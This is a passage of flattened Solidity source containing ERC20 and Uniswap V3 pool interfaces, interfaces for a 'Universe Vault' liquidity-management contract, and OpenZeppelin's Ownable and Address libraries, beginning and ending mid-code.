{transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128, uint128); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; pragma abicoder v2; import "./IVaultOwnerActions.sol"; import "./IVaultOperatorActionsV3.sol"; import "./IVaultEventsV3.sol"; import "./IUniswapV3Pool.sol"; import "./IERC20.sol"; import "../libraries/PositionHelper.sol"; /// @title The interface for a Universe Vault /// @notice A UniswapV3 optimizer with smart rebalance strategy interface IUniverseVaultV3 is IVaultOwnerActions, IVaultOperatorActionsV3, IVaultEventsV3{ /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (IERC20); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (IERC20); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 fee0, uint128 fee1); /// @notice The max share of token0 and token1 that are allowed to deposit /// Returns maxShare0 The max share of token0 /// Returns maxShare1 The max share of token1 /// Returns maxPersonShare0 The max person share of token0 /// Returns maxPersonShare1 The max person share of token1 function maxShares() external view returns (uint256 maxShare0, uint256 maxShare1, uint256 maxPersonShare0, uint256 maxPersonShare1); /// @notice Returns data about a specific position index /// @return principal0 The principal of token0, /// Returns principal1 The principal of token1, /// Returns poolAddress The uniV3 pool address of the position, /// Returns lowerTick The lower tick of the position, /// Returns upperTick The upper tick of the position, /// Returns tickSpacing The uniV3 pool tickSpacing, /// Returns status The status of the position function position() external view returns ( uint128 principal0, uint128 principal1, address poolAddress, int24 lowerTick, int24 upperTick, int24 tickSpacing, bool status ); /// @notice The shares of token0 and token1 that are owed to address /// @return share0 The share amount of token0, /// Returns share1 The share amount of token1, function getUserShares(address user) external view returns (uint256 share0, uint256 share1); /// @notice The Token Amount that are owed to address /// @return amount0 The amount of token0, /// Returns amount1 The amount of token1, function getUserBals(address user) external view returns (uint256 amount0, uint256 amount1); /// @notice The total Share Amount of token0 /// @return Share Amount function totalShare0() external view returns (uint256); /// @notice The total Share Amount of token1 /// @return Share Amount function totalShare1() external view returns (uint256); /// @notice Get the vault's total balance of token0 and token1 /// @return The amount of token0 and token1 function getTotalAmounts() external view returns (uint256, uint256, uint256, uint256, uint256, uint256); /// @notice Get Current Pnl of position in uniswapV3 /// @return rate PNL /// @return param safety Param prevent arbitrage function getPNL() external view returns (uint256 rate, uint256 param); /// @notice Get the share\amount0\amount1 info based of quantity of deposit amounts /// @param amount0Desired The amount of token0 want to deposit /// @param amount1Desired The amount of token1 want to deposit /// @return The share0\share1 corresponding to the investment amount function getShares( uint256 amount0Desired, uint256 amount1Desired ) external view returns (uint256, uint256); /// @notice Get the amount of token0 and token1 corresponding to specific share amount /// @param share0 The share amount /// @param share1 The share amount /// @return The amount of token0 and token1 corresponding to specific share amount function getBals(uint256 share0, uint256 share1) external view returns (uint256, uint256); /// @notice Deposit token into this contract /// @param amount0Desired The amount of token0 want to deposit /// @param amount1Desired The amount of token1 want to deposit /// @return The share corresponding to the investment amount function deposit( uint256 amount0Desired, uint256 amount1Desired ) external returns(uint256, uint256) ; /// @notice Deposit token into this contract /// @param amount0Desired The amount of token0 want to deposit /// @param amount1Desired The amount of token1 want to deposit /// @param to who will get The share /// @return The share corresponding to the investment amount function deposit( uint256 amount0Desired, uint256 amount1Desired, address to ) external returns(uint256, uint256) ; /// @notice Withdraw token by user /// @param share0 The share amount of token0 /// @param share1 The share amount of token1 function withdraw(uint256 share0, uint256 share1) external returns(uint256, uint256); /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; /// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint. /// @param amount0 The amount of token0 due to the pool for the minted liquidity /// @param amount1 The amount of token1 due to the pool for the minted liquidity /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a vault /// @notice Contains all events emitted by the vault interface IVaultEventsV3 { /// @notice Emitted when user deposit token in vault /// @param user The address that deposited token in vault /// @param share0 The share token amount corresponding to the deposit /// @param share1 The share token amount corresponding to the deposit /// @param amount0 The amount of token0 want to deposit /// @param amount1 The amount of token1 want to deposit event Deposit( address indexed user, uint256 share0, uint256 share1, uint256 amount0, uint256 amount1 ); /// @notice Emitted when user withdraw their share in vault /// @param user The address that withdraw share in vault /// @param share0 The amount share to withdraw /// @param share1 The amount share to withdraw /// @param amount0 How much token0 was taken out by user /// @param amount1 How much token1 was taken out by user event Withdraw( address indexed user, uint256 share0, uint256 share1, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees collected from uniV3 /// @param feesFromPool0 How much token0 was collected /// @param feesFromPool1 How much token1 was collected event CollectFees( uint256 feesFromPool0, uint256 feesFromPool1 ); /// @notice Emitted when add or delete contract white list /// @param _address The contact address /// @param status true is add false is delete event UpdateWhiteList( address indexed _address, bool status ); /// @notice Emitted when change manager address /// @param _operator The manager address event ChangeManger( address indexed _operator ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the vault operator interface IVaultOperatorActionsV3 { function initPosition(address, int24, int24) external; /// @notice Set the available uniV3 pool address /// @param _poolFee The uniV3 pool fee function addPool(uint24 _poolFee) external; /// @notice Set the core params of the vault /// @param _swapPool Set the uniV3 pool address for trading /// @param _performanceFee Set new protocol fee /// @param _diffTick Set max rebalance tick bias /// @param _safetyParam The safety param function changeConfig( address _swapPool, uint8 _performanceFee, uint24 _diffTick, uint32 _safetyParam ) external; /// @notice Set the max share params of the vault /// @param _maxShare0 Set max token0 share /// @param _maxShare1 Set max token1 share /// @param _maxPersonShare0 Set one person max token0 share /// @param _maxPersonShare1 Set one person max token1 share function changeMaxShare( uint256 _maxShare0, uint256 _maxShare1, uint256 _maxPersonShare0, uint256 _maxPersonShare1 ) external; /// @notice Stop mining of specified positions /// @param _profitScale The profit distribution param function avoidRisk(uint8 _profitScale) external; // /// @notice Reinvest the main position // /// @param minSwapToken1 The minimum swap amount of token1 // function reInvest() external; /// @notice Change a position's uniV3 pool address /// @param newPoolAddress The the new uniV3 pool address /// @param _lowerTick The lower tick for the position /// @param _upperTick The upper tick for the position /// @param _spotTick The desire middle tick in the new pool /// @param _profitScale The profit distribution param function changePool( address newPoolAddress, int24 _lowerTick, int24 _upperTick, int24 _spotTick, uint8 _profitScale ) external; /// @notice Do rebalance of one position /// @param _lowerTick The lower tick for the position after rebalance /// @param _upperTick The upper tick for the position after rebalance /// @param _spotTick The current tick for ready rebalance /// @param _profitScale The profit distribution param function forceReBalance( int24 _lowerTick, int24 _upperTick, int24 _spotTick, uint8 _profitScale ) external; /// @notice Do rebalance of one position /// @param reBalanceThreshold The minimum tick bias to do rebalance /// @param band The new price range band param /// @param _spotTick The current tick for ready rebalance /// @param _profitScale The profit distribution param function reBalance( int24 reBalanceThreshold, int24 band, int24 _spotTick, uint8 _profitScale ) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the vault owner interface IVaultOwnerActions { /// @notice Set new operator address /// @param _operator Operator address function changeManager(address _operator) external; /// @notice Update address in the whitelist /// @param _address Address add to whitelist /// @param status Add or Remove from whitelist function updateWhiteList(address _address, bool status) external; /// @notice Collect the protocol fee to a address /// @param to The address where the fee collected to function withdrawPerformanceFee(address to) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest 